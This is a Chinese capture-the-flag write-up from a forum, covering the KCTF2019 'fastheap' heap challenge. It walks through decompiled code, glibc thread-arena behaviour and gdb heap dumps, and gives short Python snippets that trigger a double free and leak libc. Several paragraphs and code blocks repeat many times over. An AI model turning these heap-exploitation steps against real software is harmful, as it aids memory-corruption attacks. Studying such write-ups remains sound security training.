-
-
[原创]KCTF2019 第九题fastheap writeup
-
发表于: 2019-6-24 11:02 3430
-
做出这道题真的是靠的运气。
这道题目也是传统的菜单题目,有三个功能,add、fast free和show功能。libc是2.27,有tcache。
$ ./fastheap 1. malloc 2. fast free 3. puts 4. exit >>>
其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。在bss段有一个全局的heap_list保存堆块的地址。接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。
$ ./fastheap 1. malloc 2. fast free 3. puts 4. exit >>>
其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。在bss段有一个全局的heap_list保存堆块的地址。接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。
signed __int64 add() { __int64 idx; // rbx size_t size; // rbp signed __int64 result; // rax unsigned __int64 v3; // rt1 unsigned __int64 v4; // [rsp+8h] [rbp-20h] v4 = __readfsqword(0x28u); _printf_chk(1LL, "Index: "); idx = (unsigned __int8)my_atoi(); if ( heap_list[idx] ) exit(-1); _printf_chk(1LL, "Size: "); size = (unsigned __int8)my_atoi(); heap_list[idx] = check(size); _printf_chk(1LL, "Contents: "); if ( !size ) return __readfsqword(0x28u) ^ v4; v3 = __readfsqword(0x28u); result = v3 ^ v4; if ( v3 == v4 ) result = my_read(heap_list[idx], size); return result; }
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
signed __int64 add() { __int64 idx; // rbx size_t size; // rbp signed __int64 result; // rax unsigned __int64 v3; // rt1 unsigned __int64 v4; // [rsp+8h] [rbp-20h] v4 = __readfsqword(0x28u); _printf_chk(1LL, "Index: "); idx = (unsigned __int8)my_atoi(); if ( heap_list[idx] ) exit(-1); _printf_chk(1LL, "Size: "); size = (unsigned __int8)my_atoi(); heap_list[idx] = check(size); _printf_chk(1LL, "Contents: "); if ( !size ) return __readfsqword(0x28u) ^ v4; v3 = __readfsqword(0x28u); result = v3 ^ v4; if ( v3 == v4 ) result = my_read(heap_list[idx], size); return result; }
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++, v2是start_index的初始值,只有当原始的start_index < end_index时,才进行堆块的释放。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。
void *__fastcall start_routine(void *a1) { unsigned __int64 v2; // [rsp+0h] [rbp-28h] while ( 1 ) { v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u); if ( *(_QWORD *)a1 <= v2 ) break; if ( !heap_list[v2] ) exit(-1); free((void *)heap_list[v2]); } return 0LL; }
汇编代码如下:
.text:0000000000000C6F loc_C6F: ; CODE XREF: start_routine+1D↑j .text:0000000000000C6F mov eax, 1 .text:0000000000000C74 lock xadd [rbx], al //交换操作数,相加,start_index++ .text:0000000000000C78 movzx eax, al .text:0000000000000C7B mov [rsp+28h+var_28], rax .text:0000000000000C7F mov rax, [rsp+28h+var_28] .text:0000000000000C83 cmp [rbp+0], rax //比较end_index和未加1的start_index .text:0000000000000C87 ja short loc_C50 //当start_index < end_index时才进行free .text:0000000000000C89 xor eax, eax .text:0000000000000C8B mov rcx, [rsp+28h+var_20] .text:0000000000000C90 xor rcx, fs:28h .text:0000000000000C99 jnz short loc_CAC .text:0000000000000C9B add rsp, 18h .text:0000000000000C9F pop rbx .text:0000000000000CA0 pop rbp .text:0000000000000CA1 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
void *__fastcall start_routine(void *a1) { unsigned __int64 v2; // [rsp+0h] [rbp-28h] while ( 1 ) { v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u); if ( *(_QWORD *)a1 <= v2 ) break; if ( !heap_list[v2] ) exit(-1); free((void *)heap_list[v2]); } return 0LL; }
汇编代码如下:
.text:0000000000000C6F loc_C6F: ; CODE XREF: start_routine+1D↑j .text:0000000000000C6F mov eax, 1 .text:0000000000000C74 lock xadd [rbx], al //交换操作数,相加,start_index++ .text:0000000000000C78 movzx eax, al .text:0000000000000C7B mov [rsp+28h+var_28], rax .text:0000000000000C7F mov rax, [rsp+28h+var_28] .text:0000000000000C83 cmp [rbp+0], rax //比较end_index和未加1的start_index .text:0000000000000C87 ja short loc_C50 //当start_index < end_index时才进行free .text:0000000000000C89 xor eax, eax .text:0000000000000C8B mov rcx, [rsp+28h+var_20] .text:0000000000000C90 xor rcx, fs:28h .text:0000000000000C99 jnz short loc_CAC .text:0000000000000C9B add rsp, 18h .text:0000000000000C9F pop rbx .text:0000000000000CA0 pop rbp .text:0000000000000CA1 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
汇编代码如下:
.text:0000000000000C6F loc_C6F: ; CODE XREF: start_routine+1D↑j .text:0000000000000C6F mov eax, 1 .text:0000000000000C74 lock xadd [rbx], al //交换操作数,相加,start_index++ .text:0000000000000C78 movzx eax, al .text:0000000000000C7B mov [rsp+28h+var_28], rax .text:0000000000000C7F mov rax, [rsp+28h+var_28] .text:0000000000000C83 cmp [rbp+0], rax //比较end_index和未加1的start_index .text:0000000000000C87 ja short loc_C50 //当start_index < end_index时才进行free .text:0000000000000C89 xor eax, eax .text:0000000000000C8B mov rcx, [rsp+28h+var_20] .text:0000000000000C90 xor rcx, fs:28h .text:0000000000000C99 jnz short loc_CAC .text:0000000000000C9B add rsp, 18h .text:0000000000000C9F pop rbx .text:0000000000000CA0 pop rbp .text:0000000000000CA1 retn
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free...)
show函数会判断对应的heap_list是否非空,不能UAF。
线程堆
这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。具体关于线程堆的知识可以看参考里的博客。
另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:
这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。具体关于线程堆的知识可以看参考里的博客。
另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:
gdb-peda$ parseheap addr prev size status fd bk 0x55c118339000 0x0 0x250 Used None None 0x55c118339250 0x0 0x70 Used None None 0x55c1183392c0 0x0 0x30 Used None None
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。
线程退出后,该堆块在fastbin中:
对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。
gdb-peda$ parseheap addr prev size status fd bk 0x55c118339000 0x0 0x250 Used None None 0x55c118339250 0x0 0x70 Used None None 0x55c1183392c0 0x0 0x30 Used None None
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。
线程退出后,该堆块在fastbin中:
对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。
释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。
线程退出后,该堆块在fastbin中:
对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。
利用过程
由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。但这道题目对heap_list进行了清空,不能double free。但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:
for i in range(250): add(i,0x60,'aaaa\n') delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。
由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。但这道题目对heap_list进行了清空,不能double free。但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:
for i in range(250): add(i,0x60,'aaaa\n') delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。
for i in range(250): add(i,0x60,'aaaa\n') delete(0,250,8)
出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这...利用条件都具备了,直接show(1)就可以泄露libc。
add(0,0x60,'aaaa\n') add(1,0xa0,'aaaa\n') for i in range(250): add(i+2,0x60,'aaaa\n') delete(2,252,7)
但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:
add(0,0x60,'aaaa\n') add(1,0xa0,'aaaa\n') for i in range(250): add(i+2,0x60,'aaaa\n') delete(2,252,7)
但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55555575e8b0 (size : 0x19750) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5555557572c0 (size : 0xb0) (0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55555575e8b0 (size : 0x19750) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5555557572c0 (size : 0xb0) (0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0xfff785c410000000 (invaild memory) (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55555575e8b0 (size : 0x19750) last_remainder: 0x0 (size : 0x0) unsortbin: 0x5555557572c0 (size : 0xb0) (0x70) tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690 (0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0
没法利用这250个堆块的double free,但是可以利用前2个堆块未释放就进入unsorted bin的状态进行double free。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-6-24 11:06
被X3h1n编辑
,原因:
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2022-7-27 01:41
心游尘世外
为你点赞~
2022-7-26 23:30
飘零丶
为你点赞~
2022-7-17 03:21
赞赏
看原图
赞赏
雪币:
留言: